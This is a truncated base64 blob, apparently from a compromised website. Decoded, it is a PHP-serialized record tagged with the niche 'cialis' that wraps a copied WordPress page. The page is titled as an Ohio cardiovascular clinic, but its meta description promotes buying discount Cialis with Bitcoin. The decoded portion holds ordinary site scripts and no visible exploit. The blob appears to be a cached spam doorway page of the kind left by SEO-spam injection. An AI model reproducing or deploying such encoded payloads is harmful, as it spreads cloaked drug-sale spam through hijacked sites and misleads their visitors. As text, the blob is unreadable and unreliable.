YToyOntzOjU6Im5pY2hlIjtzOjY6ImNpYWxpcyI7czo0OiJodG1sIjtzOjcxNjY4OiI8IWRvY3R5cGUgaHRtbD4KCgo8aHRtbCBjbGFzcz0ibm8tanMiIGxhbmc9ImVuLVVTIj4KCgk8aGVhZD4KCQkKPG1ldGEgbmFtZT0icm9ib3RzIiBjb250ZW50PSJub2FyY2hpdmUiPgo8bWV0YSBjaGFyc2V0PSJVVEYtOCIgLz4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnPnZhciB1YSA9IG5hdmlnYXRvci51c2VyQWdlbnQ7IHZhciBtZXRhID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnbWV0YScpO2lmKCh1YS50b0xvd2VyQ2FzZSgpLmluZGV4T2YoJ2FuZHJvaWQnKSA+IC0xICYmIHVhLnRvTG93ZXJDYXNlKCkuaW5kZXhPZignbW9iaWxlJykpIHx8ICgodWEubWF0Y2goL2lQaG9uZS9pKSkgfHwgKHVhLm1hdGNoKC9pUGFkL2kpKSkpeyBtZXRhLm5hbWUgPSAndmlld3BvcnQnOwltZXRhLmNvbnRlbnQgPSAndGFyZ2V0LWRlbnNpdHlkcGk9ZGV2aWNlLWRwaSwgd2lkdGg9ZGV2aWNlLXdpZHRoJzsgfXZhciBtID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ21ldGEnKVswXTsgbS5wYXJlbnROb2RlLmluc2VydEJlZm9yZShtZXRhLG0pOzwvc2NyaXB0PiAJCTxtZXRhIG5hbWU9IkF1dGhvciIgY29udGVudD0iQWl0VGhlbWVzLmNsdWIsIGh0dHA6Ly93d3cuYWl0LXRoZW1lcy5jbHViIiAvPgoKCQk8dGl0bGU+Tm9ydGhlYXN0IG9oaW8gY2FyZGlvdmFzY3VsYXIgc3BlY2lhbGlzdHMgaW5jPC90aXRsZT4KPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IlNwZWNpYWxpc3RzIG9uIGx1bmcgY2FuY2VyLiBEb2VzIGNpYWxpcyB3b3JrIGZvciB3b21lbi4gV2hlcmUgdG8gcHVyY2hhc2UgY2lhbGlzLiBDb21lIGJ5IENpYWxpcyAtIGRvc2FnZSBleGFtcGxlLiBHZW9yZ2lhIGNhbmNlciBzcGVjaWFsaXN0IG1hcmlldHRhIGdlb3JnaWEuIEJyZWFzdCBjYW5jZXIgc3BlY2lhbGlzdHMgaW4gY29sb3JhZG8gc3ByaW5ncy4gRGlzY291bnQgQ2lhbGlzIC0gYWNjZXB0IEJpdGNvaW4uIEJ1eSBjaGVhcCBnZW5lcmljIGNpYWxpcy4gQ2lhbGlzIHJlY3JlYXRpb25hbCB1c2Ugd2h5LiBDYW4geW91IGJlY29tZSBkZXBlbmRhbnQgb24gY2lhbGlzLiI+CgkJPGxpbmsgcmVsPSJwcm9maWxlIiBocmVmPSJodHRwOi8vZ21wZy5vcmcveGZuLzExIiAvPgoJCTxsaW5rIHJlbD0icGluZ2JhY2siIGhyZWY9Imh0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20veG1scnBjLnBocCIgLz4KCgkJPGxpbmsgaHJlZj0iaHR0cDovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2Nzcz9mYW1pbHk9T3N3YWxkIiByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIiAvPgoKCQk8bGluayBpZD0iYWl0LXN0eWxlIiByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIiBtZWRpYT0iYWxsIiBocmVmPSJodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9zdHlsZS5jc3M/MTUxNjQ0NTExMyIgLz4KCjxsaW5rIHJlbD0nZG5zLXByZWZldGNoJyBocmVmPScvL21hcHMuZ29vZ2xlLmNvbScgLz4KPGxpbmsgcmVsPSdkbnMtcHJlZmV0Y2gnIGhyZWY9Jy8vcy53Lm9yZycgLz4KCgoJCTxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KCQkJd2luZG93Ll93cGVtb2ppU2V0dGluZ3MgPSB7ImJhc2VVcmwiOiJodHRwczpcL1wvcy53Lm9yZ1wvaW1hZ2VzXC9jb3JlXC9lbW9qaVwvMTFcLzcyeDcyXC8iLCJleHQiOiIucG5nIiwic3ZnVXJsIjoiaHR0cHM6XC9cL3Mudy5vcmdcL2ltYWdlc1wvY29yZVwvZW1vamlcLzExXC9zdmdcLyIsInN2Z0V4dCI6Ii5zdmciLCJzb3VyY2UiOnsiY29uY2F0ZW1vamkiOiJodHRwOlwvXC93d3cuc29jaWFsbWVkaWFycy5jb21cL3dwLWluY2x1ZGVzXC9qc1wvd3AtZW1vamktcmVsZWFzZS5taW4uanM/dmVyPTQuOS4xMCJ9fTsKCQkJIWZ1bmN0aW9uKGEsYixjKXtmdW5jdGlvbiBkKGEsYil7dmFyIGM9U3RyaW5nLmZyb21DaGFyQ29kZTtsLmNsZWFyUmVjdCgwLDAsay53aWR0aCxrLmhlaWdodCksbC5maWxsVGV4dChjLmFwcGx5KHRoaXMsYSksMCwwKTt2YXIgZD1rLnRvRGF0YVVSTCgpO2wuY2xlYXJSZWN0KDAsMCxrLndpZHRoLGsuaGVpZ2h0KSxsLmZpbGxUZXh0KGMuYXBwbHkodGhpcyxiKSwwLDApO3ZhciBlPWsudG9EYXRhVVJMKCk7cmV0dXJuIGQ9PT1lfWZ1bmN0aW9uIGUoYSl7dmFyIGI7aWYoIWx8fCFsLmZpbGxUZXh0KXJldHVybiExO3N3aXRjaChsLnRleHRCYXNlbGluZT0idG9wIixsLmZvbnQ9IjYwMCAzMnB4IEFyaWFsIixhKXtjYXNlImZsYWciOnJldHVybiEoYj1kKFs1NTM1Niw1NjgyNiw1NTM1Niw1NjgxOV0sWzU1MzU2LDU2ODI2LDgyMDMsNTUzNTYsNTY4MTldKSkmJihiPWQoWzU1MzU2LDU3MzMyLDU2MTI4LDU2NDIzLDU2MTI4LDU2NDE4LDU2MTI4LDU2NDIxLDU2MTI4LDU2NDMwLDU2MTI4LDU2NDIzLDU2MTI4LDU2NDQ3XSxbNTUzNTYsNTczMzIsODIwMyw1NjEyOCw1NjQyMyw4MjAzLDU2MTI4LDU2NDE4LDgyMDMsNTYxMjgsNTY0MjEsODIwMyw1NjEyOCw1NjQzMCw4MjAzLDU2MTI4LDU2NDIzLDgyMDMsNTYxMjgsNTY0NDddKSwhYik7Y2FzZSJlbW9qaSI6cmV0dXJuIGI9ZChbNTUzNTgsNTY3NjAsOTc5Miw2NTAzOV0sWzU1MzU4LDU2NzYwLDgyMDMsOTc5Miw2NTAzOV0pLCFifXJldHVybiExfWZ1bmN0aW9uIGYoYSl7dmFyIGM9Yi5jcmVhdGVFbGVtZW50KCJzY3JpcHQiKTtjLnNyYz1hLGMuZGVmZXI9Yy50eXBlPSJ0ZXh0L2phdmFzY3JpcHQiLGIuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImhlYWQiKVswXS5hcHBlbmRDaGlsZChjKX12YXIgZyxoLGksaixrPWIuY3JlYXRlRWxlbWVudCgiY2FudmFzIiksbD1rLmdldENvbnRleHQmJmsuZ2V0Q29udGV4dCgiMmQiKTtmb3Ioaj1BcnJheSgiZmxhZyIsImVtb2ppIiksYy5zdXBwb3J0cz17ZXZlcnl0aGluZzohMCxldmVyeXRoaW5nRXhjZXB0RmxhZzohMH0saT0wO2k8ai5sZW5ndGg7aSsrKWMuc3VwcG9ydHNbaltpXV09ZShqW2ldKSxjLnN1cHBvcnRzLmV2ZXJ5dGhpbmc9Yy5zdXBwb3J0cy5ldmVyeXRoaW5nJiZjLnN1cHBvcnRzW2pbaV1dLCJmbGFnIiE9PWpbaV0mJihjLnN1cHBvcnRzLmV2ZXJ5dGhpbmdFeGNlcHRGbGFnPWMuc3VwcG9ydHMuZXZlcnl0aGluZ0V4Y2VwdEZsYWcmJmMuc3VwcG9ydHNbaltpXV0pO2Muc3VwcG9ydHMuZXZlcnl0aGluZ0V4Y2VwdEZsYWc9Yy5zdXBwb3J0cy5ldmVyeXRoaW5nRXhjZXB0RmxhZyYmIWMuc3VwcG9ydHMuZmxhZyxjLkRPTVJlYWR5PSExLGMucmVhZHlDYWxsYmFjaz1mdW5jdGlvbigpe2MuRE9NUmVhZHk9ITB9LGMuc3VwcG9ydHMuZXZlcnl0aGluZ3x8KGg9ZnVuY3Rpb24oKXtjLnJlYWR5Q2FsbGJhY2soKX0sYi5hZGRFdmVudExpc3RlbmVyPyhiLmFkZEV2ZW50TGlzdGVuZXIoIkRPTUNvbnRlbnRMb2FkZWQiLGgsITEpLGEuYWRkRXZlbnRMaXN0ZW5lcigibG9hZCIsaCwhMSkpOihhLmF0dGFjaEV2ZW50KCJvbmxvYWQiLGgpLGIuYXR0YWNoRXZlbnQoIm9ucmVhZHlzdGF0ZWNoYW5nZSIsZnVuY3Rpb24oKXsiY29tcGxldGUiPT09Yi5yZWFkeVN0YXRlJiZjLnJlYWR5Q2FsbGJhY2soKX0pKSxnPWMuc291cmNlfHx7fSxnLmNvbmNhdGVtb2ppP2YoZy5jb25jYXRlbW9qaSk6Zy53cGVtb2ppJiZnLnR3ZW1vamkmJihmKGcudHdlbW9qaSksZihnLndwZW1vamkpKSl9KHdpbmRvdyxkb2N1bWVudCx3aW5kb3cuX3dwZW1vamlTZXR0aW5ncyk7CgkJPC9zY3JpcHQ+CgkJPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KaW1nLndwLXNtaWxleSwKaW1nLmVtb2ppIHsKCWRpc3BsYXk6IGlubGluZSAhaW1wb3J0YW50OwoJYm9yZGVyOiBub25lICFpbXBvcnRhbnQ7Cglib3gtc2hhZG93OiBub25lICFpbXBvcnRhbnQ7CgloZWlnaHQ6IDFlbSAhaW1wb3J0YW50OwoJd2lkdGg6IDFlbSAhaW1wb3J0YW50OwoJbWFyZ2luOiAwIC4wN2VtICFpbXBvcnRhbnQ7Cgl2ZXJ0aWNhbC1hbGlnbjogLTAuMWVtICFpbXBvcnRhbnQ7CgliYWNrZ3JvdW5kOiBub25lICFpbXBvcnRhbnQ7CglwYWRkaW5nOiAwICFpbXBvcnRhbnQ7Cn0KPC9zdHlsZT4KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0nY29udGFjdC1mb3JtLTctY3NzJyAgaHJlZj0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3BsdWdpbnMvY29udGFjdC1mb3JtLTcvaW5jbHVkZXMvY3NzL3N0eWxlcy5jc3M/dmVyPTQuOS4yJyB0eXBlPSd0ZXh0L2NzcycgbWVkaWE9J2FsbCcgLz4KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ncnMtcGx1Z2luLXNldHRpbmdzLWNzcycgIGhyZWY9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC9wbHVnaW5zL3JldnNsaWRlci9ycy1wbHVnaW4vY3NzL3NldHRpbmdzLmNzcz9yZXY9NC42LjAmIzAzODt2ZXI9NC45LjEwJyB0eXBlPSd0ZXh0L2NzcycgbWVkaWE9J2FsbCcgLz4KPHN0eWxlIGlkPSdycy1wbHVnaW4tc2V0dGluZ3MtaW5saW5lLWNzcycgdHlwZT0ndGV4dC9jc3MnPgoudHAtY2FwdGlvbiBhe2NvbG9yOiNmZjczMDI7dGV4dC1zaGFkb3c6bm9uZTstd2Via2l0LXRyYW5zaXRpb246YWxsIDAuMnMgZWFzZS1vdXQ7LW1vei10cmFuc2l0aW9uOmFsbCAwLjJzIGVhc2Utb3V0Oy1vLXRyYW5zaXRpb246YWxsIDAuMnMgZWFzZS1vdXQ7LW1zLXRyYW5zaXRpb246YWxsIDAuMnMgZWFzZS1vdXR9LnRwLWNhcHRpb24gYTpob3Zlcntjb2xvcjojZmZhOTAyfQo8L3N0eWxlPgo8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdhaXQtanF1ZXJ5LXByZXR0eVBob3RvLWNzcycgIGhyZWY9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9jc3MvcHJldHR5UGhvdG8uY3NzP3Zlcj00LjkuMTAnIHR5cGU9J3RleHQvY3NzJyBtZWRpYT0nYWxsJyAvPgo8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdhaXQtanF1ZXJ5LWZhbmN5Ym94LWNzcycgIGhyZWY9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9jc3MvZmFuY3lib3gvanF1ZXJ5LmZhbmN5Ym94LTEuMy40LmNzcz92ZXI9NC45LjEwJyB0eXBlPSd0ZXh0L2NzcycgbWVkaWE9J2FsbCcgLz4KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0nYWl0LWpxdWVyeS1ob3Zlci16b29tLWNzcycgIGhyZWY9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9jc3MvaG92ZXJab29tLmNzcz92ZXI9NC45LjEwJyB0eXBlPSd0ZXh0L2NzcycgbWVkaWE9J2FsbCcgLz4KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0nYWl0LWpxdWVyeS1mYW5jeWNoZWNrYm94LWNzcycgIGhyZWY9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9jc3MvanF1ZXJ5LmZhbmN5Y2hlY2tib3gubWluLmNzcz92ZXI9NC45LjEwJyB0eXBlPSd0ZXh0L2NzcycgbWVkaWE9J2FsbCcgLz4KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0nanF1ZXJ5LXVpLWNzcy1jc3MnICBocmVmPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vY3NzL2pxdWVyeS11aS0xLjEwLjEuY3VzdG9tLm1pbi5jc3M/dmVyPTQuOS4xMCcgdHlwZT0ndGV4dC9jc3MnIG1lZGlhPSdhbGwnIC8+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtaW5jbHVkZXMvanMvanF1ZXJ5L2pxdWVyeS5qcz92ZXI9MS4xMi40Jz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1pbmNsdWRlcy9qcy9qcXVlcnkvanF1ZXJ5LW1pZ3JhdGUubWluLmpzP3Zlcj0xLjQuMSc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC9wbHVnaW5zL2RpcmVjdG9yeS1leHRlbnNpb24tcGx1Z2luLy9saWJzL2Zyb250RW5kU2NyaXB0cy5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3BsdWdpbnMvZGlyZWN0b3J5LWV4dGVuc2lvbi1wbHVnaW4vL2xpYnMvanF1ZXJ5LmpjYXJvdXNlbC5taW4uanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC9wbHVnaW5zL2RpcmVjdG9yeS1leHRlbnNpb24tcGx1Z2luLy9saWJzL2JmX3NjcmlwdC5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3BsdWdpbnMvZGlyZWN0b3J5LWV4dGVuc2lvbi1wbHVnaW4vL2xpYnMvc2NyaXB0LmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvcGx1Z2lucy9yZXZzbGlkZXIvcnMtcGx1Z2luL2pzL2pxdWVyeS50aGVtZXB1bmNoLnRvb2xzLm1pbi5qcz9yZXY9NC42LjAmIzAzODt2ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3BsdWdpbnMvcmV2c2xpZGVyL3JzLXBsdWdpbi9qcy9qcXVlcnkudGhlbWVwdW5jaC5yZXZvbHV0aW9uLm1pbi5qcz9yZXY9NC42LjAmIzAzODt2ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2xpYnMvanF1ZXJ5LmZhbmN5Y2hlY2tib3gubWluLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvbGlicy9qcXVlcnkuaHRtbDUtcGxhY2Vob2xkZXItc2hpbS5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL21hcHMuZ29vZ2xlLmNvbS9tYXBzL2FwaS9qcz9rZXk9QUl6YVN5RDFuaHlySnJ5SFFFME42T1Foa29xd0VMQk0weE81ME5JJiMwMzg7c2Vuc29yPWZhbHNlJiMwMzg7bGFuZ3VhZ2U9ZW5fVVMmIzAzODt2ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2xpYnMvZ21hcDMuaW5mb2JveC5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2xpYnMvZ21hcDMubWluLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvbGlicy9qcXVlcnkuaW5maWVsZGxhYmVsLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvbGlicy9qcXVlcnkucHJldHR5UGhvdG8uanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL2pxdWVyeS5mYW5jeWJveC0xLjMuNC5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2xpYnMvanF1ZXJ5LmVhc2luZy0xLjMubWluLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvbGlicy9qcXVlcnkubmljZXNjcm9sbC5taW4uanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL2pxdWVyeS5xdWlja3NhbmQuanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL2hvdmVyLnpvb20uanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL2pxdWVyeS5maW5pc2hlZFR5cGluZy5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2xpYnMvc3Bpbi5taW4uanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL21vZGVybml6ci50b3VjaC5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2dyaWRnYWxsZXJ5LmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvcmF0aW5nLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCc+Ci8qIDwhW0NEQVRBWyAqLwp2YXIgTXlBamF4ID0geyJhamF4dXJsIjoiaHR0cDpcL1wvd3d3LnNvY2lhbG1lZGlhcnMuY29tXC93cC1hZG1pblwvYWRtaW4tYWpheC5waHAiLCJhamF4bm9uY2UiOiJkODk5YmE2NWI0In07Ci8qIF1dPiAqLwo8L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL3NjcmlwdC5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPGxpbmsgcmVsPSdodHRwczovL2FwaS53Lm9yZy8nIGhyZWY9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtanNvbi8nIC8+CjxsaW5rIHJlbD0iRWRpdFVSSSIgdHlwZT0iYXBwbGljYXRpb24vcnNkK3htbCIgdGl0bGU9IlJTRCIgaHJlZj0iaHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS94bWxycGMucGhwP3JzZCIgLz4KPGxpbmsgcmVsPSJ3bHdtYW5pZmVzdCIgdHlwZT0iYXBwbGljYXRpb24vd2x3bWFuaWZlc3QreG1sIiBocmVmPSJodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWluY2x1ZGVzL3dsd21hbmlmZXN0LnhtbCIgLz4gCjxsaW5rIHJlbD0iY2Fub25pY2FsIiBocmVmPSJodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tLz93b3JkZmVuY2VfbGg9MSZoaWQ9RDFENzk1NzMxODVFREZGOERENEU5QkE5MTFBNzREQTAiID4KPGxpbmsgcmVsPSdzaG9ydGxpbmsnIGhyZWY9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vP3dvcmRmZW5jZV9saD0xJmhpZD1EMUQ3OTU3MzE4NUVERkY4REQ0RTlCQTkxMUE3NERBMCcgLz4KCgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CihmdW5jdGlvbih1cmwpewoJaWYoLyg/OkNocm9tZVwvMjZcLjBcLjE0MTBcLjYzIFNhZmFyaVwvNTM3XC4zMXxXb3JkZmVuY2VUZXN0TW9uQm90KS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSl7IHJldHVybjsgfQoJdmFyIGFkZEV2ZW50ID0gZnVuY3Rpb24oZXZ0LCBoYW5kbGVyKSB7CgkJaWYgKHdpbmRvdy5hZGRFdmVudExpc3RlbmVyKSB7CgkJCWRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoZXZ0LCBoYW5kbGVyLCBmYWxzZSk7CgkJfSBlbHNlIGlmICh3aW5kb3cuYXR0YWNoRXZlbnQpIHsKCQkJZG9jdW1lbnQuYXR0YWNoRXZlbnQoJ29uJyArIGV2dCwgaGFuZGxlcik7CgkJfQoJfTsKCXZhciByZW1vdmVFdmVudCA9IGZ1bmN0aW9uKGV2dCwgaGFuZGxlcikgewoJCWlmICh3aW5kb3cucmVtb3ZlRXZlbnRMaXN0ZW5lcikgewoJCQlkb2N1bWVudC5yZW1vdmVFdmVudExpc3RlbmVyKGV2dCwgaGFuZGxlciwgZmFsc2UpOwoJCX0gZWxzZSBpZiAod2luZG93LmRldGFjaEV2ZW50KSB7CgkJCWRvY3VtZW50LmRldGFjaEV2ZW50KCdvbicgKyBldnQsIGhhbmRsZXIpOwoJCX0KCX07Cgl2YXIgZXZ0cyA9ICdjb250ZXh0bWVudSBkYmxjbGljayBkcmFnIGRyYWdlbmQgZHJhZ2VudGVyIGRyYWdsZWF2ZSBkcmFnb3ZlciBkcmFnc3RhcnQgZHJvcCBrZXlkb3duIGtleXByZXNzIGtleXVwIG1vdXNlZG93biBtb3VzZW1vdmUgbW91c2VvdXQgbW91c2VvdmVyIG1vdXNldXAgbW91c2V3aGVlbCBzY3JvbGwnLnNwbGl0KCcgJyk7Cgl2YXIgbG9nSHVtYW4gPSBmdW5jdGlvbigpIHsKCQl2YXIgd2ZzY3IgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTsKCQl3ZnNjci50eXBlID0gJ3RleHQvamF2YXNjcmlwdCc7CgkJd2ZzY3IuYXN5bmMgPSB0cnVlOwoJCXdmc2NyLnNyYyA9IHVybCArICcmcj0nICsgTWF0aC5yYW5kb20oKTsKCQkoZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ2hlYWQnKVswXXx8ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ2JvZHknKVswXSkuYXBwZW5kQ2hpbGQod2ZzY3IpOwoJCWZvciAodmFyIGkgPSAwOyBpIDwgZXZ0cy5sZW5ndGg7IGkrKykgewoJCQlyZW1vdmVFdmVudChldnRzW2ldLCBsb2dIdW1hbik7CgkJfQoJfTsKCWZvciAodmFyIGkgPSAwOyBpIDwgZXZ0cy5sZW5ndGg7IGkrKykgewoJCWFkZEV2ZW50KGV2dHNbaV0sIGxvZ0h1bWFuKTsKCX0KfSkoJy8vd3d3LnNvY2lhbG1lZGlhcnMuY29tLz93b3JkZmVuY2VfbGg9MSZoaWQ9RDFENzk1NzMxODVFREZGOERENEU5QkE5MTFBNzREQTAnKTsKPC9zY3JpcHQ+PG